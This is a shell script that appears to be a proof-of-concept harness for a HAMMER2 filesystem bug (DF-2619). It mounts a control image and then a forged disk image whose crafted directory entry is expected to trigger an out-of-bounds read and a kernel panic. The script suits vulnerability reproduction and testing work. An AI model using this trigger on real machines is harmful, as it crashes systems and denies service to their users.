#!/bin/sh
# DF-2619 only: forged dirent (radix 7 @ 64KB-window tail). EXPECT PANIC
# (OOB read past the DIO buffer hits an unmapped page) -- run LAST.
cd /root/poc/dfv
cc -O -o getdents_dump getdents_dump.c || exit 1
LONGNAME=$(head -c 255 /dev/zero | tr '\0' 'A')
vnconfig -u vn0 2>/dev/null || true
echo "=== DF-2619: control first: base image ==="
vnconfig -c vn0 /root/poc/dfv/base2619.img
mount -o ro -t hammer2 /dev/vn0@testvol /mnt/h2x || echo "MOUNT FAILED rc=$?"
./getdents_dump /mnt/h2x
stat -t "/mnt/h2x/$LONGNAME" >/dev/null 2>&1; echo "control stat rc=$?"
umount /mnt/h2x; vnconfig -u vn0
echo "=== DF-2619: forged image (may panic) ==="
vnconfig -c vn0 /root/poc/dfv/craft2619.img
mount -o ro -t hammer2 /dev/vn0@testvol /mnt/h2x || echo "MOUNT FAILED rc=$?"
echo "--- getdents on forged image:"
./getdents_dump /mnt/h2x
echo "--- stat 255-char name (dirent_test bcmp path):"
stat -t "/mnt/h2x/$LONGNAME" >/dev/null 2>&1; echo "forged stat rc=$?"
umount /mnt/h2x; vnconfig -u vn0
echo DF2619_DONE
